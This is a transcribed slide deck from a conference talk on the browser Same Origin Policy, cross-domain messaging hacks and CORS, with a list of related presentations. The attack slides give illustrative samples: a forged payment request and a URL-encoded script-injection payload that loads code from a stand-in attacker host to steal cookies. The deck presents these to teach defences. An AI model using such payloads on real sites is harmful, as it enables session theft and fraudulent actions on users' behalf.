SlideShare a Scribd company logo
1 of 32
Download to read offline
var title = “Go

Beyond Cross Domain

Boundaries”;
$(this).attr(“title”, title);
$(this).data({
font: ‘Segoe UI’,
size: ‘30pt’,
speaker: ‘Ivelin Andreev’
});
About me
• Project Manager @
• 11 years professional experience
• MCPD .NET Web Development
• ivelin.andreev@icb.bg
•
http://www.linkedin.com/in/ivelin
• Business Interests
o Web Development (ASP.NET, jQuery, AJAX)
o SOA, Integration
o GIS, Mapping
o Performance tuning, Network security
Agenda
•
•
•
•
•
•
•

What is Same Origin Policy
Security issues it solves
Security issues it does not solve
X-domain techniques
CORS
Why CORS?
Demo
The Same Origin Policy (SOP)
• Same origin - if scheme://host:port are the same
• JavaScript limited by SOP
• Script access properties of documents with same origin
o DOM objects
o Cookies
Same origin policy is the most important security
concept in modern browsers
https://lh4.googleusercontent.com/-o9vXTXNxnYc/TY3u5UpV-UI/AAAAAAAAXiM/gvMHSRbhGWU/s1600/1600constitution.jpg
Same Origin Policy as Concept
• Not a single policy but set of mechanisms
o
o
o
o
o
o

SOP for DOM access
SOP for XMLHttpRequest
SOP for Cookies
SOP for Flash
SOP for Java
SOP for Silverlight

• Significant bottleneck in browsers
• Behavior is different among browsers
• Static bound to single domain
o Not all content on site should be trusted the same
Change origin is possible (with some limitations)
http://nutshelltek.com/wp-content/uploads/2013/05/Security.jpg
Changing Origin
• document.domain
o Allow subdomain to access parent domain
o Must set to the same value for parent domain and subdomain
• Port number set to null
• Even in document.domain = document.domain

• Cross-origin network access
o X-Origin Writes – Typically Allowed (redirects, form submissions)
o X-Origin Embed – Typically Allowed
• JavaScript <script src="..."></script>
• CSS <link rel="stylesheet" href="...">
• Frames <frame>, <iframe>
• Media & Plugins <img>, <video>, <audio>, <object>, <embed>
o X-Origin Reads – Typically Not allowed
Same-Origin Policy Limits
• http://evilHacker.com
o <a>
• Can link to resource in another domain
• But cannot control site from another domain
o <iframe>
• Include resource from another domain
• But cannot directly access DOM
o <script>
• Include script from another domain
• But cannot act on behalf of the script
• Implement policy check and inspect contents of enclosing page
o <form method=“POST” name=“f1” action=“http://company.com/page.aspx”>
• Submit forms without user input
• But cannot access user cookies
Cross domain policy does NOT prevent web
application exploits
Cross Site Request Forgery (XSRF)
• Case
o User logs in http://goodSite.com as usual
o http://evilHacker.com can
• POST new password in form to GoodSite.com
• GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker
o Authenticated because cookies are sent

• Impact
o EvilHacker.com cannot read DOM but can POST to app
o User access is blocked or stolen
o Act on behalf of the user (payment)

• Prevention
o Identify valid requests
• By user provided secret (low usability)
• By XSRF token for every request
Cross Site Scripting Inclusion (XSSI)
• Case
o
o
o
o
o
o

http://goodSite.com includes <script> to perform AJAX request
http://evilHacker.com includes the same script
Authenticated because cookies are sent
JSONP (SCRIPT + JSON) returned by server as usual
SCRIPT evaluated in EvilHacker.com context and JSON is stolen
EvilHacker.com redefines callback

• Impact
o User data are stolen

• Prevention
o http://goodSite.com must check policy of script inclusion
Cross Site Scripting (XSS)
• Case
o http://evilHacker.com injects <script> in http://goodSite.com application context
• By posting HTML form field
• By tricking user to click link with query parameters sent by mail
o %3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E

• Impact
o Steel user cookies for GoodSite.com and transfer to EvilHacker.com
o Phishing attack redirects to GoodSite.com copy
o Script modify GoodSite.com content (even SSL cert will not warn)

• Prevention
o Filter user input
o ALWAYS HTML and URL Encode/Decode
o Do not send untrusted data to browser
There is need of reliable and secure
Cross Domain Messaging
http://leadership-standard.blogspot.com/2012/08/the-message-you-dont-need.html
Common X-Domain Use Cases
Typical cases
• Consume REST APIs
• Build mashups
• Operate Ads
• Synchronize two pages
Use when
• You own both sites
• Request information from a site that trusts you
Note
• No solution solves the problems in every browser.
Policy limitations forced developers create
ingenious workarounds
window.name Hack
• Child window (frame/iframe) sets:
window.name = ‘{“message”:”text”}’;
• Parent window:
f = document.createElement('iframe');
f.onload = function () { doWork(); f.src='about:blank'};
f.src = 'http://otherDomain.com';
document.body.appendChild(f);
Notes:
• Very tricky, works on all browsers
document.domain Hack
• Allows cross SUB-domain access
//From a page in http://sub.masterDomain.com
document.domain = “masterDomain.com”;

• Pages can access each other’s DOM objects
• The sub- and parent domain have the same permissions
Notes:
• document.domain is ReadOnly property in HTML spec.
• Useful when you do not own both sites
• Works on all browsers
• Port set to null when document.domain is set
iFrame Proxy Hack
• domainB tries to get parent.document
o Permission denied to access property ‘document’’

• Hidden iFrame to exchange data
• Proxy: subscribes to onResize event
• Child: domainB sets hash on proxy domainA.com#msg
• Proxy: reads message and changes window.top
Notes:
• Do-it-yourself approach
• Complex and browser-dependent
• Widely accepted as standard
Other solutions are not that hacky
http://designtaxi.com/userfiles/articles/101845/thumb/banner.png
What is new in HTML5
window.postMessage
Pass message between two windows safely
otherWindow.postMessage(message, targetOrigin, [FF:transfer]);
• otherWindow can listen for sent messages by executing:
function receiveMessage(event) {
if (event.origin !== "http://example.org") return; ... }
window.addEventListener("message", receiveMessage, false);

Notes:
• Basic support in IE8, IE9, limitations in IE10
• Always check origin to prevent XSS attacks
• If you do not expect messages, do not subscribe
JSON-P
• Loads JSON from another domain
• Exploits HTML <script> element exception to SOP
• Client adds query parameters to server
<script type="application/javascript" src=
"http://otherDomain.com/Svc/Get?callback=parseResponse" />

• Server returns JSON wrapped in function call
parseResponse ({“this”:”is”,”json”:”data”});

• JS function callback evaluated in page
Notes:
• Useful for RESTful APIs
• Vulnerable to XSRF and XSS attacks
easyXDM Library
• Pass string messages between domains
o Enables developers to workaround SOP limitations
o postMessage transport on modern browsers, fallback to frame element

• Consumer
var socket = new easyXDM.Socket({
remote:
“http://domain.com/provider/”, //provider path
onMessage:
function(message, origin){
if (origin==“…”) alert(message); } });
socket.postMessage(“message");

• Provider
var socket = new easyXDM.Socket({
onMessage:
function(message, origin) {alert(message); } });
Cross Origin Resource Sharing
http://onlypositive.net/image.axd?picture=2010%2F6%2Fsharing-ice-cream-cone-girl-dog.jpg
How does CORS Work
• Request headers
o Origin: http://myDomain.com

• Response headers
o Access-Control-Allow-Origin:
• http://myDomain.com
• “*” – all domains allowed
o Error if not allowed

Note: “*” does not allow supply of credentials
o HTTP authentication will not work
o Client SSL certificates will not work
o Cookies will not work
Preflight Request
• Required when
o HTTP verb other than GET/POST
o Request MIME type other than text/plain (i.e. application/json)
o Custom headers

• Headers determine whether CORS is enabled
o Request (HTTP OPTIONS method)
• Origin: http://myDomain.com
• Access-Control-Request-Method: [method the request wants to use]
• Access-Control-Request-Headers: [optional CSV, custom headers]
o Response
• Access-Control-Allow-Origin: [allowed origin]
• Access-Control-Allow-Methods: [CSV allowed methods]
• Access-Control-Allow-Headers: [CSV allowed headers]
• Access-Control-Max-Age: [seconds preflight is valid]
Credential Request
• By Default
o X-domain do not send credentials (cookies, client SSL, HTTP authentication)

• Request (specify send credentials)
o xmlHttpRequest.withCredentials = true;

• Response headers (if server allows )
o
o
o
o

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://myDomain.com
Otherwise response will be ignored by browser
Header can be sent during pre-flight request
Can I Use

http://caniuse.com/cors
IE 8 and IE9 limitations
•
•
•

Use XDomainRequest
Preflight not supported
Request limited to the target scheme of hosting page
Why use CORS
• The most robust solution for X-domain requests with JS
• The best approach to consume RESTful API with JS
• Modern alternative to JSON-P and W3C standard
JSON-P
HTTP Verbs

GET

Browser Support All

CORS
GET,PUT,POST,DELETE,OPTIONS
Does not < IE 8

Error Handling

Tricky to none

HTTP status access via XHR

Performance

1 HTTP Request

2 Requests (up to 3)

Authentication

Cookies only

Cookies, Basic, client SSL

X-Site Scripting

If external site compromised

Consumer parses response
Check this out
• Open Web Application Security Project
o https://www.owasp.org/

• Mozilla Developer Network
o http://developer.mozilla.org

• Html5rocks CORS Tutorial
o http://www.html5rocks.com/en/tutorials/cors/

• Gruyere Code Lab - Exploits and Defenses
o http://google-gruyere.appspot.com/
Demo

DEMO
Thanks to our Sponsors:
Diamond Sponsor:

Gold Sponsors:

Silver Sponsors:
Technological Partners:
Bronze Partners:
Swag Sponsors:

Media Partners:

More Related Content

What's hot

01. http basics v27
01. http basics v2701. http basics v27
01. http basics v27Eoin Keary
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectorsShreeraj Shah
 
Elegant Rest Design Webinar
Elegant Rest Design WebinarElegant Rest Design Webinar
Elegant Rest Design WebinarStormpath
 
CNIT 129S: Ch 5: Bypassing Client-Side Controls
CNIT 129S: Ch 5: Bypassing Client-Side ControlsCNIT 129S: Ch 5: Bypassing Client-Side Controls
CNIT 129S: Ch 5: Bypassing Client-Side ControlsSam Bowne
 
REST API Design for JAX-RS And Jersey
REST API Design for JAX-RS And JerseyREST API Design for JAX-RS And Jersey
REST API Design for JAX-RS And JerseyStormpath
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)Sam Bowne
 
Advance WAF bot mitigations V13.1
Advance WAF bot mitigations V13.1 Advance WAF bot mitigations V13.1
Advance WAF bot mitigations V13.1 Lior Rotkovitch
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
Browser security
Browser securityBrowser security
Browser securityUday Anand
 
Asm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitchAsm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitchLior Rotkovitch
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesSam Bowne
 
JWT Authentication with AngularJS
JWT Authentication with AngularJSJWT Authentication with AngularJS
JWT Authentication with AngularJSrobertjd
 
Securing Single Page Applications with Token Based Authentication
Securing Single Page Applications with Token Based AuthenticationSecuring Single Page Applications with Token Based Authentication
Securing Single Page Applications with Token Based AuthenticationStefan Achtsnit
 
Build a Node.js Client for Your REST+JSON API
Build a Node.js Client for Your REST+JSON APIBuild a Node.js Client for Your REST+JSON API
Build a Node.js Client for Your REST+JSON APIStormpath
 
Client sidesec 2013-intro
Client sidesec 2013-introClient sidesec 2013-intro
Client sidesec 2013-introTal Be'ery
 
Dom based xss
Dom based xssDom based xss
Dom based xssLê Giáp
 

What's hot (20)

HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
01. http basics v27
01. http basics v2701. http basics v27
01. http basics v27
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
Elegant Rest Design Webinar
Elegant Rest Design WebinarElegant Rest Design Webinar
Elegant Rest Design Webinar
 
CNIT 129S: Ch 5: Bypassing Client-Side Controls
CNIT 129S: Ch 5: Bypassing Client-Side ControlsCNIT 129S: Ch 5: Bypassing Client-Side Controls
CNIT 129S: Ch 5: Bypassing Client-Side Controls
 
REST API Design for JAX-RS And Jersey
REST API Design for JAX-RS And JerseyREST API Design for JAX-RS And Jersey
REST API Design for JAX-RS And Jersey
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
 
Advance WAF bot mitigations V13.1
Advance WAF bot mitigations V13.1 Advance WAF bot mitigations V13.1
Advance WAF bot mitigations V13.1
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
Browser security
Browser securityBrowser security
Browser security
 
Asm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitchAsm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitch
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application Technologies
 
Html5 for Security Folks
Html5 for Security FolksHtml5 for Security Folks
Html5 for Security Folks
 
JWT Authentication with AngularJS
JWT Authentication with AngularJSJWT Authentication with AngularJS
JWT Authentication with AngularJS
 
Securing Single Page Applications with Token Based Authentication
Securing Single Page Applications with Token Based AuthenticationSecuring Single Page Applications with Token Based Authentication
Securing Single Page Applications with Token Based Authentication
 
Build a Node.js Client for Your REST+JSON API
Build a Node.js Client for Your REST+JSON APIBuild a Node.js Client for Your REST+JSON API
Build a Node.js Client for Your REST+JSON API
 
Client sidesec 2013-intro
Client sidesec 2013-introClient sidesec 2013-intro
Client sidesec 2013-intro
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 

Similar to Going Beyond Cross Domain Boundaries (jQuery Bulgaria)

Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
Chrome extensions threat analysis and countermeasures
Chrome extensions threat analysis and countermeasuresChrome extensions threat analysis and countermeasures
Chrome extensions threat analysis and countermeasuresRoel Palmaers
 
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicy
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicyBrowsers_SameOriginPolicy_CORS_ContentSecurityPolicy
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicysubbul
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyKrishna T
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Divyanshu
 
Web Security - Cookies, Domains and CORS
Web Security - Cookies, Domains and CORSWeb Security - Cookies, Domains and CORS
Web Security - Cookies, Domains and CORSPerfectial, LLC
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
Embracing HTTP in the era of API’s
Embracing HTTP in the era of API’sEmbracing HTTP in the era of API’s
Embracing HTTP in the era of API’sVisug
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Stormpath
 
Ch 13: Attacking Users: Other Techniques (Part 2)
Ch 13: Attacking Users: Other Techniques (Part 2)Ch 13: Attacking Users: Other Techniques (Part 2)
Ch 13: Attacking Users: Other Techniques (Part 2)Sam Bowne
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 
AOEconf17: Application Security
AOEconf17: Application SecurityAOEconf17: Application Security
AOEconf17: Application SecurityAOE
 
AOEconf17: Application Security - Bastian Ike
AOEconf17: Application Security - Bastian IkeAOEconf17: Application Security - Bastian Ike
AOEconf17: Application Security - Bastian IkeAOE
 
Lesson 6 web based attacks
Lesson 6 web based attacksLesson 6 web based attacks
Lesson 6 web based attacksFrank Victory
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityMichael Coates
 
Web development tips and tricks
Web development tips and tricksWeb development tips and tricks
Web development tips and tricksmaxo_64
 

Similar to Going Beyond Cross Domain Boundaries (jQuery Bulgaria) (20)

Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
Chrome extensions threat analysis and countermeasures
Chrome extensions threat analysis and countermeasuresChrome extensions threat analysis and countermeasures
Chrome extensions threat analysis and countermeasures
 
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicy
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicyBrowsers_SameOriginPolicy_CORS_ContentSecurityPolicy
Browsers_SameOriginPolicy_CORS_ContentSecurityPolicy
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Web Security - Cookies, Domains and CORS
Web Security - Cookies, Domains and CORSWeb Security - Cookies, Domains and CORS
Web Security - Cookies, Domains and CORS
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Embracing HTTP in the era of API’s
Embracing HTTP in the era of API’sEmbracing HTTP in the era of API’s
Embracing HTTP in the era of API’s
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
 
Ch 13: Attacking Users: Other Techniques (Part 2)
Ch 13: Attacking Users: Other Techniques (Part 2)Ch 13: Attacking Users: Other Techniques (Part 2)
Ch 13: Attacking Users: Other Techniques (Part 2)
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
AOEconf17: Application Security
AOEconf17: Application SecurityAOEconf17: Application Security
AOEconf17: Application Security
 
AOEconf17: Application Security - Bastian Ike
AOEconf17: Application Security - Bastian IkeAOEconf17: Application Security - Bastian Ike
AOEconf17: Application Security - Bastian Ike
 
Lesson 6 web based attacks
Lesson 6 web based attacksLesson 6 web based attacks
Lesson 6 web based attacks
 
Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
 
Web development tips and tricks
Web development tips and tricksWeb development tips and tricks
Web development tips and tricks
 

More from Ivo Andreev

Cybersecurity and Generative AI - for Good and Bad vol.2
Cybersecurity and Generative AI - for Good and Bad vol.2Cybersecurity and Generative AI - for Good and Bad vol.2
Cybersecurity and Generative AI - for Good and Bad vol.2Ivo Andreev
 
Architecting AI Solutions in Azure for Business
Architecting AI Solutions in Azure for BusinessArchitecting AI Solutions in Azure for Business
Architecting AI Solutions in Azure for BusinessIvo Andreev
 
Cybersecurity Challenges with Generative AI - for Good and Bad
Cybersecurity Challenges with Generative AI - for Good and BadCybersecurity Challenges with Generative AI - for Good and Bad
Cybersecurity Challenges with Generative AI - for Good and BadIvo Andreev
 
JS-Experts - Cybersecurity for Generative AI
JS-Experts - Cybersecurity for Generative AIJS-Experts - Cybersecurity for Generative AI
JS-Experts - Cybersecurity for Generative AIIvo Andreev
 
How do OpenAI GPT Models Work - Misconceptions and Tips for Developers
How do OpenAI GPT Models Work - Misconceptions and Tips for DevelopersHow do OpenAI GPT Models Work - Misconceptions and Tips for Developers
How do OpenAI GPT Models Work - Misconceptions and Tips for DevelopersIvo Andreev
 
OpenAI GPT in Depth - Questions and Misconceptions
OpenAI GPT in Depth - Questions and MisconceptionsOpenAI GPT in Depth - Questions and Misconceptions
OpenAI GPT in Depth - Questions and MisconceptionsIvo Andreev
 
Cutting Edge Computer Vision for Everyone
Cutting Edge Computer Vision for EveryoneCutting Edge Computer Vision for Everyone
Cutting Edge Computer Vision for EveryoneIvo Andreev
 
Collecting and Analysing Spaceborn Data
Collecting and Analysing Spaceborn DataCollecting and Analysing Spaceborn Data
Collecting and Analysing Spaceborn DataIvo Andreev
 
Collecting and Analysing Satellite Data with Azure Orbital
Collecting and Analysing Satellite Data with Azure OrbitalCollecting and Analysing Satellite Data with Azure Orbital
Collecting and Analysing Satellite Data with Azure OrbitalIvo Andreev
 
Language Studio and Custom Models
Language Studio and Custom ModelsLanguage Studio and Custom Models
Language Studio and Custom ModelsIvo Andreev
 
CosmosDB for IoT Scenarios
CosmosDB for IoT ScenariosCosmosDB for IoT Scenarios
CosmosDB for IoT ScenariosIvo Andreev
 
Forecasting time series powerful and simple
Forecasting time series powerful and simpleForecasting time series powerful and simple
Forecasting time series powerful and simpleIvo Andreev
 
Constrained Optimization with Genetic Algorithms and Project Bonsai
Constrained Optimization with Genetic Algorithms and Project BonsaiConstrained Optimization with Genetic Algorithms and Project Bonsai
Constrained Optimization with Genetic Algorithms and Project BonsaiIvo Andreev
 
Azure security guidelines for developers
Azure security guidelines for developers Azure security guidelines for developers
Azure security guidelines for developers Ivo Andreev
 
Autonomous Machines with Project Bonsai
Autonomous Machines with Project BonsaiAutonomous Machines with Project Bonsai
Autonomous Machines with Project BonsaiIvo Andreev
 
Global azure virtual 2021 - Azure Lighthouse
Global azure virtual 2021 - Azure LighthouseGlobal azure virtual 2021 - Azure Lighthouse
Global azure virtual 2021 - Azure LighthouseIvo Andreev
 
Flux QL - Nexgen Management of Time Series Inspired by JS
Flux QL - Nexgen Management of Time Series Inspired by JSFlux QL - Nexgen Management of Time Series Inspired by JS
Flux QL - Nexgen Management of Time Series Inspired by JSIvo Andreev
 
Azure architecture design patterns - proven solutions to common challenges
Azure architecture design patterns - proven solutions to common challengesAzure architecture design patterns - proven solutions to common challenges
Azure architecture design patterns - proven solutions to common challengesIvo Andreev
 
Industrial IoT on Azure
Industrial IoT on AzureIndustrial IoT on Azure
Industrial IoT on AzureIvo Andreev
 
The Power of Auto ML and How Does it Work
The Power of Auto ML and How Does it WorkThe Power of Auto ML and How Does it Work
The Power of Auto ML and How Does it WorkIvo Andreev
 

More from Ivo Andreev (20)

Cybersecurity and Generative AI - for Good and Bad vol.2
Cybersecurity and Generative AI - for Good and Bad vol.2Cybersecurity and Generative AI - for Good and Bad vol.2
Cybersecurity and Generative AI - for Good and Bad vol.2
 
Architecting AI Solutions in Azure for Business
Architecting AI Solutions in Azure for BusinessArchitecting AI Solutions in Azure for Business
Architecting AI Solutions in Azure for Business
 
Cybersecurity Challenges with Generative AI - for Good and Bad
Cybersecurity Challenges with Generative AI - for Good and BadCybersecurity Challenges with Generative AI - for Good and Bad
Cybersecurity Challenges with Generative AI - for Good and Bad
 
JS-Experts - Cybersecurity for Generative AI
JS-Experts - Cybersecurity for Generative AIJS-Experts - Cybersecurity for Generative AI
JS-Experts - Cybersecurity for Generative AI
 
How do OpenAI GPT Models Work - Misconceptions and Tips for Developers
How do OpenAI GPT Models Work - Misconceptions and Tips for DevelopersHow do OpenAI GPT Models Work - Misconceptions and Tips for Developers
How do OpenAI GPT Models Work - Misconceptions and Tips for Developers
 
OpenAI GPT in Depth - Questions and Misconceptions
OpenAI GPT in Depth - Questions and MisconceptionsOpenAI GPT in Depth - Questions and Misconceptions
OpenAI GPT in Depth - Questions and Misconceptions
 
Cutting Edge Computer Vision for Everyone
Cutting Edge Computer Vision for EveryoneCutting Edge Computer Vision for Everyone
Cutting Edge Computer Vision for Everyone
 
Collecting and Analysing Spaceborn Data
Collecting and Analysing Spaceborn DataCollecting and Analysing Spaceborn Data
Collecting and Analysing Spaceborn Data
 
Collecting and Analysing Satellite Data with Azure Orbital
Collecting and Analysing Satellite Data with Azure OrbitalCollecting and Analysing Satellite Data with Azure Orbital
Collecting and Analysing Satellite Data with Azure Orbital
 
Language Studio and Custom Models
Language Studio and Custom ModelsLanguage Studio and Custom Models
Language Studio and Custom Models
 
CosmosDB for IoT Scenarios
CosmosDB for IoT ScenariosCosmosDB for IoT Scenarios
CosmosDB for IoT Scenarios
 
Forecasting time series powerful and simple
Forecasting time series powerful and simpleForecasting time series powerful and simple
Forecasting time series powerful and simple
 
Constrained Optimization with Genetic Algorithms and Project Bonsai
Constrained Optimization with Genetic Algorithms and Project BonsaiConstrained Optimization with Genetic Algorithms and Project Bonsai
Constrained Optimization with Genetic Algorithms and Project Bonsai
 
Azure security guidelines for developers
Azure security guidelines for developers Azure security guidelines for developers
Azure security guidelines for developers
 
Autonomous Machines with Project Bonsai
Autonomous Machines with Project BonsaiAutonomous Machines with Project Bonsai
Autonomous Machines with Project Bonsai
 
Global azure virtual 2021 - Azure Lighthouse
Global azure virtual 2021 - Azure LighthouseGlobal azure virtual 2021 - Azure Lighthouse
Global azure virtual 2021 - Azure Lighthouse
 
Flux QL - Nexgen Management of Time Series Inspired by JS
Flux QL - Nexgen Management of Time Series Inspired by JSFlux QL - Nexgen Management of Time Series Inspired by JS
Flux QL - Nexgen Management of Time Series Inspired by JS
 
Azure architecture design patterns - proven solutions to common challenges
Azure architecture design patterns - proven solutions to common challengesAzure architecture design patterns - proven solutions to common challenges
Azure architecture design patterns - proven solutions to common challenges
 
Industrial IoT on Azure
Industrial IoT on AzureIndustrial IoT on Azure
Industrial IoT on Azure
 
The Power of Auto ML and How Does it Work
The Power of Auto ML and How Does it WorkThe Power of Auto ML and How Does it Work
The Power of Auto ML and How Does it Work
 

Recently uploaded

CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceBrainSell Technologies
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Natan Silnitsky
 
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdfGOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdfAlina Yurenko
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprisepreethippts
 
Sending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdfSending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdf31events.com
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationBradBedford3
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringHironori Washizaki
 
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Matt Ray
 
A healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdfA healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdfMarharyta Nedzelska
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEEVICTOR MAESTRE RAMIREZ
 
Software Coding for software engineering
Software Coding for software engineeringSoftware Coding for software engineering
Software Coding for software engineeringssuserb3a23b
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesPhilip Schwarz
 
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsSensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsChristian Birchler
 
Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)Hr365.us smith
 
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Cizo Technology Services
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based projectAnoyGreter
